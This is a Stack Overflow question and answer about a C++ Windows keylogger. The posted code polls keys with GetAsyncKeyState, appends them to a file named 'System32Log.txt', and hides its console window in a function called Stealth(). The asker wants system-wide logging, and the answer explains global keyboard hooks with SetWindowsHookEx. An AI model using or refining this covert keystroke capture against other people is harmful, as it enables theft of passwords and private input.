3

I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.

Mat
  • 202,337
  • 40
  • 393
  • 406
Marink
  • 91
  • 1
  • 1
  • 8
  • you'll need a different approach than the program you provided to make it use less CPU (it contains a polling loop - it should be event driven). It is also unclear whether you want a system wide key logger or just for one program. Please clarify. – Tobias Langner Oct 18 '12 at 11:59
  • System wide key logger that records any input from the keyboard, and saves it into a file. – Marink Oct 18 '12 at 12:21
  • Didn't check the code but at first glance this looks promising. http://thetechnofreak.com/technofreak/keylogger-visual-c/ –  Oct 18 '12 at 14:01
  • I've tried that but It doesn't seem to work and gives compliling errors. – Marink Oct 18 '12 at 15:42
  • The code you are using is not something good to be a base of any serious key-logger. If you check Kid Logger (https://kidlogger.net/soft-andr-download.html) you will find a much better source code to start with and you will be able to see how you hook the keyboard using a separate DLL (without the DLL, it will consume huge amount of CPU). Just download the Windows version. Install it. You will find the source code in the program's folder. – Michael Haephrati Aug 18 '17 at 20:55

1 Answers1

7

Take a quick look at the answers here and here for more information on which windows API functions are appropriate for your work.


The basic idea is to set a so called "Hook" function on the Keyboard using SetWindowsHookEx (either Keyboard oder Keyboard_LL - you'll probably want the first though). On unloading your keyboardlogger, you need to unhook it. After you have set the hook, Windows will call the hook function after each keyboard event. You process it (log it somewhere) and then you call the next Hook with CAllNextHook to continue processing the event in Windows. You'll need some trying and debugging there.

That's it for a global hook (the second link provides information in MSDN). Research on the SetWindowsHookEx function and try to understand the mechanisms behind it and you'll soon succeed. You can also refine your search on stackoverflow using "hook" as keyword in your search (e.g. reading this here)

Community
  • 1
  • 1
Tobias Langner
  • 10,634
  • 6
  • 46
  • 76